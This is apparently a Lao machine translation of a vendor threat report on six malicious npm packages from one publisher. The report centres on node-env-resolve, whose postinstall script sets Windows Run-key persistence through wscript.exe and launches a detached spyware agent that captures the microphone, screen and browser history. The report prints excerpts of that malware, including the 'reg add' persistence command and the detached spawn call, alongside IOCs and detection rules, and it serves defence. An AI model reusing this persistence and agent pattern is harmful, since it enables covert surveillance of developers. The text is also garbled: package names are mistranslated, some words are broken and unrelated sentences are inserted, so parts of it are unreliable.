TL; DR
ລະຫວ່າງວັນທີ 1 ເມສາ ຫາ ວັນທີ 3 ພຶດສະພາ 2026, ຜູ້ເຜີຍແຜ່ npm ດຽວ, user0001, ລົງທະບຽນດ້ວຍທີ່ຢູ່ Gmail ທີ່ຍັງບໍ່ໄດ້ຢືນຢັນ tanvisoul9@gmail.com, ໄດ້ຊຸກຍູ້ຫົກແພັກເກດຢ່າງງຽບໆດ້ວຍຊື່ທີ່ຈືດໆ ແລະ ຟັງຄືວ່າເປັນໂຄງສ້າງພື້ນຖານໂດຍເຈດຕະນາ: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, ແລະ node-env-resolve.
ສອງລຸ້ນລ່າສຸດຂອງ node-env-resolve, 1.0.7 ແລະ 1.0.8, ໄດ້ຖືກໝາຍໂດຍລະບົບເຕືອນໄພມັລແວ (MEW) ຂອງ Xygeni ໃນວັນທີ 2 ພຶດສະພາ ແລະ ຢືນຢັນວ່າເປັນອັນຕະລາຍໃນວັນທີ 3 ພຶດສະພາ.
ການຝັງຕົວນີ້ແມ່ນຜິດປົກກະຕິສຳລັບສິ່ງທີ່ມັນບໍ່ແມ່ນ: ບໍ່ມີບອທ໌ Telegram, ບໍ່ມີການໂທຫາ OAST, ບໍ່ມີ obfuscation, ແລະບໍ່ມີຄວາມພະຍາຍາມທີ່ຈະຮັບເອົາຂໍ້ມູນປະຈຳຕົວ AWS ໃນເວລາຕິດຕັ້ງ. ແທນທີ່ຈະ, postinstall.js ສ້າງລາຍການຄວາມທົນທານໃນການບູດ Windows ໂດຍໃຊ້ປຸ່ມ HKCU Run ທີ່ເປີດໃຊ້ງານ wscript.exe ຕໍ່ກັບຫົວ VBS. ຫຼັງຈາກນັ້ນ, ມັນຈະສ້າງຕົວແທນ Node.js ທີ່ແຍກອອກມາເຊິ່ງລວມໂມດູນສຳລັບການຈັບໄມໂຄຣໂຟນ, ການລັກປະຫວັດໂປຣແກຣມທ່ອງເວັບ, ການຖ່າຍພາບໜ້າຈໍ, ແລະ ການຈຳລອງເມົ້າ/ແປ້ນພິມ.
ພວກເຮົາກຳລັງເອີ້ນກຸ່ມນີ້ DevTapຫຼັງຈາກຊຸດມັນປະໄວ້ໃຫ້ເຮັດວຽກຢູ່ໃນເຄື່ອງຂອງນັກພັດທະນາ.
ໃນເວລາຂຽນນີ້, ແພັກເກດທັງຫົກຊຸດໄດ້ຖືກເຜີຍແຜ່ໃນ npm. ພວກເຮົາໄດ້ສົ່ງພວກມັນໄປຫາຊ່ອງທາງການລະເມີດຂອງທະບຽນແລ້ວ. ຜູ້ປົກປ້ອງຄວນດຶງການຕິດຕັ້ງໃດໆຈາກຜູ້ເຜີຍແຜ່ທີ່ລໍຖ້າການລຶບອອກ.
ກຸ່ມ: ຫົກແພັກເກດ, ໜຶ່ງຜູ້ເຜີຍແຜ່
ບັນຊີຜູ້ເຜີຍແຜ່ user0001 ຍັງບໍ່ໄດ້ຮັບການຢືນຢັນ. ມັນບໍ່ມີ SCM ການຢືນຢັນ, ບໍ່ມີອີເມວຜູກມັດກັບໂດເມນ, ແລະບໍ່ມີປະຫວັດກ່ອນໜ້ານີ້. ບັນຊີ Gmail tanvisoul9 ບໍ່ປາກົດຢູ່ໃນບັນທຶກຜູ້ເຜີຍແຜ່ npm ອື່ນໆທີ່ພວກເຮົາສາມາດຊອກຫາໄດ້.
ແພັກເກດທັງຫົກລາຍການລະບຸຜູ້ຮັກສາຄົນດຽວກັນ, ຖືກເຜີຍແຜ່ຈາກບັນຊີດຽວກັນ, ແລະແບ່ງປັນສິ່ງດຽວກັນ. package.json ແບບຟອມຕົວຢ່າງ. ບໍ່ມີ repository, no homepage, ແລະບໍ່ມີ description ຍາວກວ່າໜຶ່ງແຖວ.
ຍຸດທະສາດການຕັ້ງຊື່ແມ່ນສ່ວນທີ່ໜ້າສົນໃຈ. ບໍ່ເຫມືອນກັບການໂຄສະນາແບບຄລາສສິກກ່ຽວກັບຄວາມສັບສົນຂອງການເພິ່ງພາອາໄສ ຫຼື typosquat, ບໍ່ມີຊື່ໃດທີ່ແນໃສ່ຫ້ອງສະໝຸດຕົ້ນນ້ຳສະເພາະ. ແທນທີ່ຈະ, ພວກມັນຖືກປັບໃຫ້ຫາຍໄປໃນຕົວຈິງ package.json or npm ls ຜົນຜະລິດ.
| Package | ການເຜີຍແຜ່ຄັ້ງທໍາອິດ | ສະບັບຫລ້າສຸດ | ສະບັບ | ບົດບາດໃນກຸ່ມ |
|---|---|---|---|---|
| ສູນກາງ | 2026-04-01 12:46 UTC | 1.0.9 | 5, ຈາກ 1.0.5 ຫາ 1.0.9 | ໜ້າປົກ "ຢູທິລີຕີການບັນທຶກ" ຂອງ Cluster; ເຜີຍແຜ່ໄວທີ່ສຸດ |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | ໜ້າປົກ DOM-helper ທົ່ວໄປ |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | ຄ້າຍຄືກັບຄອບຄົວ node-fetch |
| ຕົວເຊື່ອມຕໍ່-ຕົວແທນ | 2026-04-25 05:12 UTC | 1.0.0 | 1 | ຊື່ທົ່ວໄປຂອງ "ຕົວແທນ" |
| node-gyp-runtime | 2026-04-25 05:17 UTC | 1.0.0 | 1 | ລອກລຽນແບບເຄື່ອງມືສ້າງໂມດູນພື້ນເມືອງ |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, ຈາກ 1.0.0 ຫາ 1.0.9 | ຢອດຢາທີ່ໃຊ້ງານໄດ້; ຝັງໄດ້ເຕັມຮູບແບບ |
ຊື່ຄື centralogger, node-fetch-lite, ແລະ node-gyp-runtime ຖືກອອກແບບມາໃຫ້ເບິ່ງບໍ່ມີການໂຕ້ຖຽງກັນໃນການທົບທວນລະຫັດ. ພວກມັນຟັງຄືກັບສິ່ງທີ່ຈະຢູ່ໃນຕົ້ນໄມ້ dependency ຂອງໂຄງການແລ້ວ.
ເມື່ອລວມເຂົ້າກັບຜູ້ເຜີຍແຜ່ໃໝ່ທີ່ບໍ່ໄດ້ຮັບການຢືນຢັນ ແລະ ລິ້ງບ່ອນເກັບມ້ຽນທີ່ຂາດຫາຍໄປ, ພວກມັນສ້າງຮູບແບບທີ່ສາມາດຮັບຮູ້ໄດ້: ຜູ້ກະທຳທີ່ໃສ່ຊື່ທີ່ມີຄວາມຂັດແຍ້ງຕ່ຳເຂົ້າໃນທະບຽນ, ຈາກນັ້ນເຮັດຊ້ຳຢ່າງໄວວາໃນຊື່ທີ່ສຳຄັນ. ໃນກໍລະນີນີ້, node-env-resolve ໄດ້ຮັບສິບລຸ້ນພາຍໃນແປດມື້.
ສິ່ງທີ່ຕົກຢູ່ໃນ Windows Dev Box
ລະບົບຕ່ອງໂສ້ທີ່ເປັນອັນຕະລາຍ node-env-resolve:1.0.8 ສັ້ນ, ໂດຍກົງ, ແລະມີຄຸນສົມບັດທີ່ອຸດົມສົມບູນຜິດປົກກະຕິສຳລັບ npm RAT.
ຫຼັງການຕິດຕັ້ງ: ຄວາມຍືນຍົງ ແລະ ຕົວແທນທີ່ຖືກແຍກອອກ
package.json ປະກາດ hook ຕິດຕັ້ງດຽວ:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js ເຮັດສາມຢ່າງຕາມລຳດັບ.
ກ່ອນອື່ນໝົດ, ມັນຈັດວາງໄດເລກະທໍລີການຕິດຕັ້ງຢູ່ນອກຕົ້ນໄມ້ npm. ເສັ້ນທາງຖືກຄິດໄລ່ໃນເວລາແລ່ນໃນສະຄຣິບເປັນ INSTALL_DIRຫຼັງຈາກນັ້ນ, ມັນຈະດໍາເນີນການພາຍໃນ execSync('npm install --production --silent ...') ພາຍໃນມັນເພື່ອດຶງເອົາການເພິ່ງພາອາໄສເວລາແລ່ນຂອງ implant. ສິ່ງນີ້ເຮັດໃຫ້ຕົວແທນຢູ່ໃນແຜ່ນດິດບ່ອນໃດບ່ອນໜຶ່ງຄູ່ມື node_modules ການກວດສອບຈະບໍ່ພົບ.
ອັນທີສອງ, ມັນຂຽນຕົວເປີດ VBS ແລະລົງທະບຽນມັນສຳລັບຄວາມຍືນຍົງໃນການບູດ:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe ແມ່ນ Windows Script Host, ເປັນໄຟລ໌ໄບນາຣີ Microsoft ທີ່ເຊັນແລ້ວ ເຊິ່ງເຮັດວຽກ .vbs ໄຟລ໌ທີ່ບໍ່ມີໜ້າຕ່າງຄອນໂຊນ. ນັ້ນແມ່ນກ່ອນcisເຂົ້າໃຈວ່າເປັນຫຍັງມັນຈຶ່ງເປັນທີ່ນິຍົມສຳລັບ stubs ການເຮັດວຽກອັດຕະໂນມັດ.
ຍັງມີການຈັບຄູ່ກັນອີກດ້ວຍ reg delete ເສັ້ນທາງພາຍໃນ src/index.js, ຊີ້ໃຫ້ເຫັນວ່າການຝັງໄດ້ຖືກອອກແບບມາໃຫ້ສາມາດຖອດອອກໄດ້ຢ່າງສະອາດຕາມຄຳສັ່ງຂອງຜູ້ປະຕິບັດງານ.
ອັນທີສາມ, ມັນເຮັດໃຫ້ເກີດຂະບວນການລູກທີ່ແຍກອອກມາ:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })ສອງລາຍລະອຽດມີຄວາມສຳຄັນຢູ່ທີ່ນີ້.
SERVER_URL ຖືກອ່ານຈາກສະພາບແວດລ້ອມ. ດັ່ງນັ້ນ, ຈຸດສິ້ນສຸດ C2 ຈຶ່ງສາມາດຕັ້ງຄ່າໄດ້ຕໍ່ການນຳໃຊ້ ແລະ ບໍ່ໄດ້ຖືກລວມເຂົ້າໃນແພັກເກດ. ທາງເລືອກຂະໜາດນ້ອຍແຕ່ຕັ້ງໃຈນັ້ນເອົາຊະນະການກວາດລ້າງ static-IOC ສ່ວນໃຫຍ່.
ນອກຈາກນັ້ນ, ລູກທີ່ເກີດມາຈະສືບທອດສະພາບແວດລ້ອມຂອງພໍ່ແມ່ຢ່າງເຕັມທີ່. ເພາະສະນັ້ນ, ໃດໆ NPM_TOKEN, AWS_*, GITHUB_TOKEN, ຫຼື ຊັອກເກັດ SSH-agent ທີ່ມີຢູ່ໃນເຊວນັກພັດທະນາໃນເວລາຕິດຕັ້ງເວລາເດີນທາງເຂົ້າໄປໃນໜ່ວຍຄວາມຈຳຂອງຕົວແທນທີ່ມີອາຍຸຍືນ.
ສິ່ງທີ່ຕົວແທນສົ່ງມາພ້ອມກັບ
ມັດໄວ້ src/ ຕົ້ນໄມ້ປະກອບມີສາມໂມດູນທີ່ມີຊື່ພຽງແຕ່ບອກເລື່ອງລາວ: audioCapture.js, browserHistory.js, ແລະ systemInfo.js.
ລາຍຊື່ການເພິ່ງພາອາໄສໃນເວລາແລ່ນ, ແກ້ໄຂໃນລະຫວ່າງຂັ້ນຕອນ npm install, ຢືນຢັນພວກມັນ.
ວິທີການນີ້ປ່ຽນເຫດການທີ່ວຸ້ນວາຍໃຫ້ກາຍເປັນການຕອບສະໜອງທີ່ຄວບຄຸມໄດ້.
ແທນທີ່ຈະຕອບສະໜອງແບບຕາບອດ, ທີມງານເຮັດວຽກດ້ວຍ ການກຳນົດລຳດັບຄວາມສຳຄັນທີ່ຊັດເຈນ ແລະ ການແກ້ໄຂຢ່າງວ່ອງໄວ.
| ເພິ່ງພາອາໄສ | ມັນແມ່ນຫຍັງໃນສະພາບການນີ້ |
|---|---|
| ພາບໜ້າຈໍ-ເດັສທັອບ | ການຈັບພາບໜ້າຈໍເປັນໄລຍະ |
| @nut-tree-fork/nut-js | ການເຮັດວຽກອັດຕະໂນມັດຂອງເມົາສ໌ ແລະ ແປ້ນພິມ / ການຈຳລອງການປ້ອນຂໍ້ມູນ |
| better-sqlite3 | ການອ່ານໂດຍກົງຂອງຖານຂໍ້ມູນ SQLite ປະຫວັດ Chrome, Edge ແລະ Firefox |
| adm-zip | ການມັດສິ່ງປະດິດທີ່ເກັບມາໄດ້ກ່ອນການກັ່ນຕອງ |
| ແຫຼມ | ການປັບຂະໜາດ/ການບີບອັດພາບໜ້າຈໍ ແລະ ຮູບພາບປອມ |
| socket.io-client | ຊ່ອງທາງ C2 ສອງທິດທາງທີ່ຍືນຍົງ |
| ລະຫັດເຄື່ອງຈັກໂຫນດ | ລາຍນິ້ວມືຕໍ່ໂຮດທີ່ໝັ້ນຄົງສຳລັບການຕິດຕາມຜູ້ຖືກເຄາະຮ້າຍ |
systemInfo.js ໂທ os.networkInterfaces() ສຳລັບລາຍນິ້ວມືເພີ່ມເຕີມກ່ອນສັນຍານທຳອິດ.
ເປັນຫຍັງການຈັບສຽງຈຶ່ງເປັນສັນຍານທີ່ໂດດເດັ່ນ
RATs npm ສ່ວນໃຫຍ່ທີ່ພວກເຮົາຄັດເລືອກໃນ MEW ຢຸດຢູ່ໃນເວລາທີ່ຕິດຕັ້ງການລັກລອບລັບ. ພວກເຂົາອ່ານ ~/.npmrc, ອ່ານ ~/.aws/credentials, ຂູດ process.env, POST ໄປຫາ webhook, ແລະອອກ. ນັ້ນເໝາະສົມກັບຮູບແບບເສດຖະກິດແບບ smash-and-grab. ໃບຢັ້ງຢືນມີອາຍຸການໃຊ້ງານສັ້ນ, ແລະຜູ້ໂຈມຕີຕ້ອງການສ້າງລາຍໄດ້ຢ່າງໄວວາ.
node-env-resolve ແມ່ນແຕກຕ່າງກັນໃນຮູບຮ່າງ.
ການຢືນຢັນຖືກຕັ້ງຄ່າໃຫ້ຢູ່ລອດໃນການຣີບູດ. ຕົວແທນເຮັດວຽກແຍກຕ່າງຫາກ ແລະ ໃຊ້ໄດ້ດົນພາຍໃຕ້ wscript.exeຊຸດອຸປະກອນທີ່ມັນມີແມ່ນສຳລັບການຢູ່ໃນເຄື່ອງຂອງນັກພັດທະນາ, ບໍ່ແມ່ນສຳລັບການຈັບແລະອອກໄປ: ເຄື່ອງບັນທຶກໄມໂຄຣໂຟນ, ໄດຣເວີແປ້ນພິມ/ເມົາສ໌, ການນຳເອົາປະຫວັດໂປຣແກຣມທ່ອງເວັບເຕັມຮູບແບບ, ການຈັບພາບໜ້າຈໍ, ແລະຊ່ອງທາງ Socket.IO ແບບໂຕ້ຕອບກັບຄືນໄປຫາ C2 ທີ່ສາມາດຕັ້ງຄ່າໄດ້.
ໂດຍສະເພາະແລ້ວການຈັບພາບໄມໂຄຣໂຟນແມ່ນເສັ້ນທີ່ແຄມເປນນີ້ຂ້າມຜ່ານທີ່ມັນແວ npm ສ່ວນໃຫຍ່ບໍ່ຜ່ານ.
ສະຖານີເຮັດວຽກຂອງນັກພັດທະນາ, ຍັງເປັນສະຖານີເຮັດວຽກທີ່ນັກພັດທະນາຮັບຟັງການໂຕ້ວາທີ, ການໂທກັບລູກຄ້າ, ການສົນທະນາກ່ຽວກັບການອອກແບບ, ແລະ ການເຊື່ອມຕໍ່ການໂທ. ອຸປະກອນທີ່ບັນທຶກໄມໂຄຣໂຟນບໍ່ໄດ້ຕິດຕາມໂທເຄັນ npm ຂອງນັກພັດທະນາ. ມັນແມ່ນຕິດຕາມສິ່ງທີ່ນັກພັດທະນາເວົ້າຢູ່ຕໍ່ໜ້າແລັບທັອບ.
ຊຸດຄວາມສາມາດດັ່ງກ່າວ, ບວກກັບການຂາດການປິດບັງ ແລະ ການບໍ່ມີການຮົ່ວໄຫຼໃນເວລາຕິດຕັ້ງທີ່ໜ້າສົນໃຈ, ອ່ານວ່າເປັນການວາງຕຳແໜ່ງລ່ວງໜ້າສຳລັບການເຂົ້າເຖິງເປົ້າໝາຍແທນທີ່ຈະເປັນການລັກຂໍ້ມູນປະຈຳຕົວທີ່ฉวยໂອກາດ.
ພວກເຮົາບໍ່ໄດ້ຢືນຢັນຄວາມກ່ຽວຂ້ອງຈາກສິ່ງນີ້ພຽງຢ່າງດຽວ. ພວກເຮົາກຳລັງສັງເກດເຫັນຮູບແບບການດຳເນີນງານ.

ຈັງຫວະການເຮັດຊ້ຳແປດມື້ໃນ node-env-resolve ແມ່ນລາຍລະອຽດທີ່ບອກເຖິງການດຳເນີນງານໄດ້ຫຼາຍທີ່ສຸດໃນເສັ້ນເວລາ.
ນີ້ບໍ່ແມ່ນການຖິ້ມແບບບໍ່ມີວັນລືມ. ຜູ້ເຜີຍແຜ່ກຳລັງຮັກສາການຖິ້ມແບບບໍ່ມີວັນລືມຢ່າງຕັ້ງໜ້າ, ເຊິ່ງປົກກະຕິແລ້ວໝາຍເຖິງໜຶ່ງໃນສອງຢ່າງ. ບໍ່ວ່າພວກເຂົາຈະປັບແຕ່ງມັນຕາມສະພາບແວດລ້ອມການທົດສອບກ່ອນການນຳໃຊ້ທີ່ກວ້າງຂວາງ, ຫຼືພວກເຂົາມີການຕິດຕັ້ງ telemetry ກັບມາແລ້ວ ແລະ ກຳລັງຕອບສະໜອງຕໍ່ມັນ.
ແພັກເກດທີ່ເຫຼືອຫ້າອັນບໍ່ເຫັນການປ່ຽນແປງຫຼັງຈາກການເຜີຍແຜ່ຄັ້ງທຳອິດຂອງພວກມັນ. ນັ້ນເໝາະສົມກັບຮູບແບບ "ຂັ້ນຕອນຄັ້ງດຽວ, ປ່ອຍໃຫ້ມີຊື່" ສຳລັບກຸ່ມສະໜັບສະໜູນ ໃນຂະນະທີ່ຄວາມພະຍາຍາມດ້ານວິສະວະກຳສຸມໃສ່ແພັກເກດທີ່ເຮັດວຽກ.
ການອ້າງອີງ: ຕົວຊີ້ບອກນ້ອຍໆ, ບໍ່ມີຄຳຕັດສິນທີ່ແນ່ນອນ
ສາທາລະນະ OSINT ສັນຍານແມ່ນບາງ, ແລະພວກເຮົາຈະບໍ່ຍືດມັນ. ສິ່ງທີ່ສັງເກດເຫັນໄດ້:
ດ້າມຈັບ Gmail tanvisoul9 ຄ້າຍຄືກັບຊື່ທີ່ໃຫ້ມາຈາກອາຊີໃຕ້ບາງສ່ວນ, "Tanvi." ນີ້ແມ່ນສັນຍານທີ່ອ່ອນແອ. ໝາຍເລກ Gmail ບໍ່ແມ່ນຕົວຕົນ, ແລະສ່ວນຕໍ່ທ້າຍ soul9 ເປັນເລື່ອງທົ່ວໄປ. ມັນບໍ່ປອດໄພທີ່ຈະອະນຸມານພູມສາດຈາກອີເມວ local-part ຢ່າງດຽວ.
ແບບລະຫັດບໍ່ໜ້າປະທັບໃຈ Node.js: standard ການໂທຫາຫໍສະໝຸດເຊັ່ນ: os, child_process, spawn, ແລະ reg addບໍ່ມີການປິດບັງ, ບໍ່ມີການໝຸນສະຕຣິງ, ແລະບໍ່ມີເຫດຜົນຕ້ານການດີບັກ. ຜູ້ຂຽນຄຸ້ນເຄີຍກັບລະບົບ registry ຂອງ Windows ແລະ ການຈັດການຂະບວນການລູກແຍກຕ່າງຫາກ, ແຕ່ເບິ່ງຄືວ່າບໍ່ໄດ້ເຂົ້າເຖິງວິທີການລັກລອບທີ່ພວກເຂົາສາມາດນຳໃຊ້ໄດ້.
ການເພິ່ງພາອາໄສແມ່ນບໍ່ມີຢູ່ແລ້ວ ແລະ ເປັນທີ່ຮູ້ຈັກກັນດີ: screenshot-desktop, nut-js, better-sqlite3, ແລະ socket.io-clientບໍ່ມີໂປໂຕຄອນທີ່ກຳນົດເອງ, ບໍ່ມີ C2 stack ທີ່ມ້ວນອອກມາຈາກຈຸດເລີ່ມຕົ້ນ, ແລະບໍ່ມີເຄັດລັບການຄົງຕົວແບບໃໝ່ນອກເໜືອໄປຈາກປຶ້ມແບບຮຽນ. ປຸ່ມ Run ຂອງ HKCUນີ້ແມ່ນຜູ້ເຊື່ອມໂຍງທີ່ມີຄວາມສາມາດ, ບໍ່ແມ່ນຜູ້ຂຽນເຄື່ອງມື.
ພວກເຮົາບໍ່ພົບສະຕຣິງທີ່ບໍ່ແມ່ນພາສາອັງກິດ, ຄຳເຫັນທີ່ຝັງຢູ່, ຂໍ້ມູນສະຖານທີ່, ຫຼື ລາຍນິ້ວມືເຂດເວລາຂອງຕົວລວບລວມຂໍ້ມູນພາຍໃນສິ່ງປະດິດທີ່ເຜີຍແຜ່.
ພວກເຮົາໄດ້ກວດສອບການຊ້ອນກັນຂອງລະຫັດກັບແຄມເປນກ່ອນໜ້ານີ້ທີ່ພວກເຮົາຕິດຕາມແລ້ວ, ລວມທັງ ໄຊ ຮຸດ, ນົກຮູກ, Buildkite, ແລະ heibai ທີ່ຜ່ານມາ / claude-code-best ຄອບຄົວໂຄລນ Anthropic-CLI. ພວກເຮົາບໍ່ພົບຫຍັງເລີຍ: ບໍ່ມີຮູບແບບ C2 ທີ່ແບ່ງປັນ, ບໍ່ມີຮູບແບບໄຟລ໌ທີ່ແບ່ງປັນ, ແລະບໍ່ມີສຳນວນທີ່ແບ່ງປັນ.
ສິ່ງທີ່ພວກເຮົາຈະບໍ່ເວົ້າ: ວ່ານີ້ແມ່ນຜູ້ກະທຳຂອງລັດ, ກຸ່ມທີ່ຮູ້ຈັກ, ຫຼື ມີສາຍພົວພັນທາງພູມສາດກັບປະເທດໃດໜຶ່ງ.
ຮູບແບບການດຳເນີນງານແມ່ນສອດຄ່ອງກັບທີມງານຂະໜາດນ້ອຍທີ່ມີທັກສະປານກາງທີ່ເຮັດວຽກເຝົ້າລະວັງນັກພັດທະນາ. ມັນອາດຈະມີແຮງຈູງໃຈທາງດ້ານການເງິນໂດຍຜ່ານການນຳໃຊ້ການເຂົ້າເຖິງຕາມລຳດັບຕໍ່ໄປ, ແຕ່ອາດຈະເປັນການສຳຫຼວດເປັນການບໍລິການສຳລັບຜູ້ຊື້ແຍກຕ່າງຫາກ.
ສອງຈຸດທາງອ້ອມສະໜັບສະໜູນທີ່ອ່ານວ່າ: ການຫຼີກລ່ຽງກົນໄກການກັ່ນຕອງທີ່ດຶງດູດຄວາມສົນໃຈທີ່ຈະເຮັດໃຫ້ກຸ່ມຂໍ້ມູນໄໝ້ໄວ, ເຊັ່ນ: ບອທ໌ Telegram, oastify.com, ຫຼື canarytokens, ແລະຊື່ແພັກເກດທີ່ຈືດໆໂດຍເຈດຕະນາ, ເຊິ່ງມັກການຕິດຕັ້ງແບບຫາງຍາວທີ່ງຽບສະຫງົບຫຼາຍກວ່າການເພີ່ມຂຶ້ນຂອງປະລິມານສູງໃນຊ່ວງສັ້ນໆ.
ຕົວຊີ້ວັດຂອງການປະນີປະນອມ ແລະ ການກວດຈັບ
| ແພັກເກດ ແລະ ຜູ້ເຜີຍແຜ່ | |
|---|---|
| ພາກສະຫນາມ | ມູນຄ່າ |
| ຜູ້ເຜີຍແຜ່ npm | user0001 |
| ອີເມວຂອງຜູ້ເຜີຍແຜ່ | tanvisoul9@gmail.com, ຍັງບໍ່ໄດ້ຢືນຢັນ |
| ການຫຸ້ມຫໍ່ | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| ຢືນຢັນແລ້ວວ່າເປັນອັນຕະລາຍ | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| ສິ່ງປະດິດຂອງເຈົ້າຂອງ | |
|---|---|
| ປະເພດ | ມູນຄ່າ |
| ກຸນແຈຄວາມຍືນຍົງ | HKCU\ຊອບແວ\Microsoft\Windows\CurrentVersion\Run |
| ຄ່າຄວາມຍືນຍົງ | ຊື່ຕົວແປ; ຂໍ້ມູນຂອງຮູບແບບ wscript.exe " \\ .vbs |
| ຕິດຕັ້ງຕະຂໍ | ຫຼັງການຕິດຕັ້ງ: ໂຫນດ postinstall.js ໃນລາຍການແພັກເກດ |
| ໂມດູນການຝັງຮາກ | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| ໄດເລກະທໍລີການຈັດລຽງ | INSTALL_DIR ຖືກແກ້ໄຂຢູ່ນອກ node_modules ຂອງໂຄງການ; ສະຖານທີ່ຖືກກຳນົດໂດຍ postinstall.js ໃນເວລາຕິດຕັ້ງ |
| ເຄືອຂ່າຍ | |
|---|---|
| ປະເພດ | ມູນຄ່າ |
| ການຂົນສົ່ງ C2 | socket.io-client, ຊ່ອງທາງສອງທິດທາງທີ່ຍືນຍົງ |
| ຈຸດສິ້ນສຸດ C2 | ສະໜອງໃຫ້ຕົວແທນຜ່ານຕົວແປສະພາບແວດລ້ອມ SERVER_URL; ບໍ່ໄດ້ລະຫັດແຂງເຂົ້າໃນສິ່ງປະດິດທີ່ເຜີຍແຜ່ແລ້ວ |
ບັນທຶກການກວດຈັບ
ກົດລະບຽບສອງຢ່າງຈັບຄອບຄົວນີ້ໂດຍບໍ່ຕ້ອງການຈຸດສິ້ນສຸດ C2.
ກ່ອນອື່ນໝົດ, ໃຫ້ໝາຍເຖິງສະຄຣິບຫຼັງການຕິດຕັ້ງທີ່ປະຕິບັດພາຍໃນ npm install ເຂົ້າໄປໃນເສັ້ນທາງນອກໄດເລກະທໍລີຂອງແພັກເກດເອງ. ຕົວດາວໂຫຼດທີ່ສ້າງໄວ້ລ່ວງໜ້າທີ່ຖືກຕ້ອງຕາມກົດໝາຍໃດໆ, ເຊັ່ນ node-gyp ສ້າງຄືນໃໝ່ ຫຼື ຕົວດາວໂຫຼດໄບນາຣີທີ່ສ້າງໄວ້ລ່ວງໜ້າ, ຂຽນພາຍໃນແພັກເກດ ຫຼື ເຂົ້າໄປໃນແພລດຟອມstandard ເສັ້ນທາງແຄດທີ່ມີ hash ທີ່ຖືກຢືນຢັນແລ້ວ. ມັນບໍ່ໄດ້ຂຽນລົງໃນໄຟລ໌ທີ່ສ້າງຂຶ້ນໃໝ່ INSTALL_DIR ບ່ອນອື່ນໃນແຜ່ນດິດ.
ອັນທີສອງ, ລາຍງານສະຄຣິບຫຼັງການຕິດຕັ້ງທີ່ມີບັນຫາ reg add HKCU\…\Run ກັບ wscript.exe ເປັນຕົວເປີດໃຊ້. ໂດຍພື້ນຖານແລ້ວສິ່ງນີ້ບໍ່ເຄີຍຖືກຕ້ອງຕາມກົດໝາຍຈາກແພັກເກດ npm. ລາຍງານ ແລະ ກັກກັນມັນໄວ້.
ການວິເຄາະຄັ້ງທີສາມແມ່ນເປັນປະໂຫຍດສໍາລັບການຊອກຫາແພັກເກດອ້າຍເອື້ອຍນ້ອງຕໍ່ໄປກ່ອນທີ່ມັນຈະຖືກຢືນຢັນ: ຜູ້ເຜີຍແຜ່ npm ໃໝ່ທີ່ບໍ່ມີ SCM ການຢືນຢັນ, ອີເມວ Gmail, ບໍ່ repository ພາກສະໜາມ, ແລະຊື່ແພັກເກດສັ້ນໆ, ທົ່ວໄປ, ຟັງຄືວ່າເປັນໂຄງສ້າງພື້ນຖານຫຼາຍອັນທີ່ເຜີຍແຜ່ພາຍໃນມື້ຫ່າງກັນ, ດ້ວຍຕົວມັນເອງ, ພຽງພໍທີ່ຈະຮັບປະກັນການທົບທວນດ້ວຍຕົນເອງ.
ລາຍງານໄປຍັງທະບຽນ npm ແລ້ວ. ພວກເຮົາຈະອັບເດດໂພສນີ້ເມື່ອບັນຊີຜູ້ເຜີຍແຜ່ຖືກລຶບອອກ.






